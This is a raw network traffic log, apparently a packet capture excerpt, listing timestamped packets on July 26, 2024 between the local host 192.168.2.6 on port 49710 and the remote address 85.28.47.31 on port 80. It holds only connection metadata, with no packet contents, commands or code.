Jul 26, 2024 10:36:15.403601885 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.403601885 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.403606892 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.403619051 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.403630972 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.403637886 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.403637886 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.403641939 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.403661966 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.403671026 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.403673887 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.403683901 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.403695107 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.403707981 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.403709888 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.403709888 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.403726101 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.403736115 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.403745890 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.403754950 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.403754950 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.403758049 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.403785944 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.403801918 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.403810978 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.403817892 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.403817892 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.403824091 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.403835058 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.403845072 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.403856993 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.403861046 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.403867006 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.403872013 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.403878927 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.403889894 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.403896093 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.403901100 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.403913975 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.403925896 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.403935909 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.403938055 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.403938055 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.403950930 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.403954983 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.403961897 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.403973103 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.403981924 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.404004097 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.404005051 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.404023886 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.490762949 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.490782976 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.490794897 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.490881920 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.490881920 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.490923882 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.490936041 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.490947008 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.490958929 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.490981102 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.491019964 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.491337061 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.491357088 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.491368055 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.491388083 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.491434097 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.491585970 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.491599083 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.491609097 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.491627932 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.491637945 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.491650105 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.491651058 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.491651058 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.491669893 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.491679907 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.491691113 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.491703987 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.491703987 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.491727114 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.491859913 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.491871119 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.491880894 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.491893053 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.491904020 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.491921902 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.491921902 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.491921902 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.491934061 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.491976976 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.491976976 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.492132902 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.492144108 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.492156029 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.492166042 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.492177963 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.492188931 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.492197990 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.492198944 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.492202044 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.492221117 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.492382050 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.492388010 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.492393017 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.492403030 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.492414951 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.492429018 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.492434978 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.492451906 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.492454052 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.492466927 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.492477894 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.492486000 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.492486000 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.492494106 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.492503881 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.492516041 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.492516994 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.492527962 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.492558956 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.492558956 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.492834091 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.492846012 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.492856026 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.492889881 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.492889881 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.492923021 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.492934942 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.492944956 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.492959023 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.492976904 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.492995977 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.493043900 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.493175983 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.493187904 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.493199110 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.493208885 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.493216038 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.493221045 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.493231058 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.493232965 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.493242979 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.493253946 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.493264914 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.493273020 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.493273020 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.493278027 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.493330002 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.493330002 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.493418932 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.493530035 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.493541002 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.493550062 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.493561029 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.493572950 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.493582964 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.493607044 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.493607044 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.493617058 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.493652105 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.493664026 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.493669033 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.493669033 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.493674994 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.493685007 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.493688107 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.493700027 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.493710041 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.493711948 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.493721008 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.493731976 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.493741989 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.493756056 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.493778944 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.493778944 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.493778944 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.493808031 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.494411945 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.494424105 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.494432926 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.494443893 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.494455099 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.494465113 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.494476080 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.494488001 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.494492054 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.494492054 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.494498014 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.494510889 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.494522095 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.494530916 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.494530916 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.494533062 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.494544983 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.494561911 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.494628906 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.494707108 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.494719028 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.494729042 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.494741917 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.494762897 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.494762897 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.494791985 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.494817972 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.494834900 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.494846106 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.494858027 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.494868040 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.494870901 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.494870901 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.494879007 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.494889021 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.494889975 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.494901896 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.494914055 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.494925022 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.494945049 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.494945049 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.494975090 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.495196104 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.495925903 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.589809895 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.589973927 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.589987040 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.590029001 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.590042114 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.590051889 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.590074062 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.590126991 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.590835094 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.590847015 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.590857029 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.590867996 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.590900898 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.590936899 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.591644049 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.591655970 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.591665983 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.591675997 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.591701984 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.592286110 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.592385054 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.592396975 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.592408895 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.592420101 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.592432022 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.592458963 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.592458963 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.592506886 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.593384981 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.593396902 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.593406916 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.593417883 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.593429089 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.593463898 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.594002962 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.594016075 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.594026089 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.594038010 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.594048977 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.594063997 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.594075918 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.594091892 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.594825983 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.594837904 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.594847918 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.594858885 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.594892025 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.594911098 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.595540047 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.595551968 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.595561981 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.595575094 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.595586061 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.595601082 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.595612049 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.595612049 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.595635891 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.595663071 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.596453905 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.596466064 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.596484900 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.596496105 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.596502066 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.596507072 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.596519947 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.596569061 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.597392082 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.597407103 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.597417116 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.597429037 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.597440004 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.597450018 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.597469091 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.597469091 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.597512960 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.598184109 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.598196030 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.598206043 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.598217010 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.598227024 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.598238945 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.598251104 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.598256111 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.598256111 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.598303080 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.598303080 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.599304914 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.599315882 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.599325895 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.599344015 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.599354982 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.599384069 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.599384069 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.599402905 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.599867105 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.599878073 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.599889040 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.599900007 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.599910975 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.599924088 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.599931955 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.599935055 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.599961042 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.599961042 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.600013971 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.601165056 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.601176977 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.601186037 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.601197004 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.601208925 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.601217985 CEST	49710	80	192.168.2.6	85.28.47.31
